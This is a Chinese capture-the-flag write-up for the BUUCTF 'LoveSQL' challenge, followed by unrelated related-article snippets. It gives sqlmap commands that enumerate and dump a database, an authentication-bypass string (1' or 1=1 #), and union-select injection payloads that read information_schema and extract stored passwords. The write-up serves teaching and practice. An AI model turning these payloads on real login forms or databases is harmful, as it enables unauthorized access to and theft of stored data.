2025.1.16——五、LoveSQL1 sqlmap文件类|万能密码

embedded/2025/1/20 6:42:50/

题目来源:BUUCTF [极客大挑战 2019]LoveSQL 1

目录

一、打开靶机,分析信息

sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB-toc" name="tableOfContents" style="margin-left:0px">二、sqlmap解题——文件类

step 1:通过url进行爆破

step 2:抓包并将信息保存为文件进行爆破数据库

step 3:爆表

step 4:爆列的所有信息

三、手工注入爆破——万能密码

step 1:万能密码注入

step 2:判断字段数

step 3:爆数据库

step 4:爆表名

step 5:爆列名

step 6:爆具体数据

四、小结


一、打开靶机,分析信息

              题目提示这道题是sql注入

        查看源码,获取信息:①可尝试sqlmap;②可以手工注入

sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB" name="%E4%BA%8C%E3%80%81sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB">二、sqlmap解题——文件类

step 1:通过url进行爆破

        直接复制url,使用 -u 进行爆破,但是总感觉哪里怪怪的,应该是传参的内容不太合适,所以改用文件方式进行爆破

step 2:抓包并将信息保存为文件进行爆破数据库

        bp抓包后将信息保存在桌面的1.txt文件中,用-r指令进行爆破

口令:

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -dbs

        得到5个数据库名,geek数据库最可疑,进行爆破

step 3:爆表

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek --tables

        得到两个表,其中 l0ve1ysq1列 最可疑

step 4:爆列的所有信息

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek -T l0ve1ysq1 --dump

        得到flag

三、手工注入爆破——万能密码

step 1:万能密码注入

username:1’ or 1=1 #   password:随便

        注入点正确

step 2:判断字段数

        %23是url编码后的#

sql">1' order by 3 %23

sql">1' order by 4 %23

        所以可以得到字段数为2

step 3:爆数据库

        这里可以加一步判断回显点

sql">1' union select 1,2,3%23

        爆出数据库

sql">1' union select database(),database(),database()%23

        得到数据库名geek

step 4:爆表名

sql">1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'

step 5:爆列名

sql">1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23

step 6:爆具体数据

sql">1' union select 1,2,password from geek.l0ve1ysq1 %23

        得到了我们不需要的东西,所以应该一次性把数据全部输出

sql">1' union select 1,2,group_concat(password) from geek.l0ve1ysq1 %23

        太长了,直接看源代码,得到flag为flag{8e405a18-97b4-4393-9991-ec7de04d993c}

四、小结

        拿到题先寻找注入点,而后判断注入类型,尝试用万能密码登陆,sqlmap的使用很重要


http://www.ppmy.cn/embedded/155409.html

相关文章

MATLAB中regexptranslate函数用法

目录 语法 说明 示例 转换特殊字符 对替代文本中的特殊字符进行转义 转换通配符 使用正则表达式替换文本 regexptranslate函数的功能是将文本转换为正则表达式。 语法 newStr regexptranslate(op,str) 说明 newStr regexptranslate(op,str) 会将 str 转换为正则表达…

费解的开关

费解的开关 你玩过“拉灯”游戏吗? 25 盏灯排成一个 55 的方形。 每一个灯都有一个开关,游戏者可以改变它的状态。 每一步,游戏者可以改变某一个灯的状态。 游戏者改变一个灯的状态会产生连锁反应:和这个灯上下左右相邻的灯也…

HTML-BFC+SEO+标签应用实例

文章目录 BFC语义化标签和SEO语义化标签实例页面结构类文本内容类列表类多媒体类特殊功能类 以下是<figure>和<figcaption>标签的一些应用实例&#xff1a;图片展示图表展示代码示例展示引述或诗歌展示数学公式展示多媒体内容展示 以下是<details>和<summ…

element-ui制作多颜色选择器

将颜色存储到一个数组中去。 <template><div class"color-picker-container" style"margin-top: 10px;"><!-- 显示已选颜色 --><div class"color-selection"><divv-for"(color, index) in selectedColors"…

4.若依 BaseController

若依的BaseController是其他所有Controller的基类&#xff0c;一起来看下BaseController定义了什么 1. 定义请求返回内容的格式 code/msg/data 返回数据格式不是必须是AjaxResult&#xff0c;开发者可以自定义返回格式&#xff0c;注意与前端取值方式一致即可。 2. 获取调用…

【React】class组件extends继承原理

目录 class语法基于extends实现继承 在学习React中的 class组件时&#xff0c;先巩固一下ES6中class语法和继承原理&#xff0c;后面介绍如何基于extends实现继承。 class语法 静态属性和方法是属于类本身的&#xff0c;而不是类的实例对象。静态成员通常用于描述类的特征或功…

IOS工程师

IOS工程师 职位描述 负责程序的开发测试调试工作。 负责后期维护 任职要求 有扎实的Objective-C/Swift语言基础 熟悉IOS开发技术&#xff0c;包括UI、网络等方面 熟悉IOS开发工具和相关开发测试工具的使用 熟悉多线程和网络编程&#xff0c;对高性能程序设计、架构有较多…

WebSocket实现分布式的不同方案对比

引言 随着实时通信需求的日益增长&#xff0c;WebSocket作为一种基于TCP的全双工通信协议&#xff0c;在实时聊天、在线游戏、数据推送等场景中得到了广泛应用。然而&#xff0c;在分布式环境下&#xff0c;如何实现WebSocket的连接管理和消息推送成为了一个挑战。本文将对比几…